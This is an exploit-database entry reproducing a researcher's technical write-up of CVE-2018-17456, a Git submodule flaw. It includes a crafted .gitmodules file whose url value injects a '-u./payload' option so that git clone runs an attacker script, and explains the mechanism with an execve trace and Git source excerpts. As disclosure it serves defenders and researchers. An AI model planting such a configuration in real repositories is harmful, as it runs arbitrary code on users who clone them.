Git Submodule Arbitrary Code Execution

EKU-ID: 8063 CVE: 2018-17456 OSVDB-ID:
Author: joernchen Published: 2018-10-18 Verified: Verified



# CVE-2018-17456
I've gotten a couple of questions about exploitation for the
[recent RCE]( in Git. So here we
go with some technical details.
## TL;DR
[Here]( is a PoC repository.
EDB Note: Mirror ~
## Exploitation
The `.gitmodules` file looks as follows:
[submodule "x:x"]
    path = x:x
    url = -u./payload
The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.
The path will end up as the repository URL in the subsequent `clone`
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
As the actual URL from `.gitmodules` is interpreted as the `-u`
The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:
    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;
Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:
   } else {
        /* Unknown protocol in URL. Pass to external handler. */
        int len = external_specification_len(url);
        char *handler = xmemdupz(url, len);
        transport_helper_init(ret, handler);
    if (ret->smart_options) {
        ret->smart_options->thin = 1;
        ret->smart_options->uploadpack = "git-upload-pack";
        if (remote->uploadpack)
            ret->smart_options->uploadpack = remote->uploadpack;
        ret->smart_options->receivepack = "git-receive-pack";1
        if (remote->receivepack)
            ret->smart_options->receivepack = remote->receivepack;
## Further hints
The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.
Etienne Stalmans who found [a similar issue](
earlier this year managed to exploit this argument injection [using `--template`](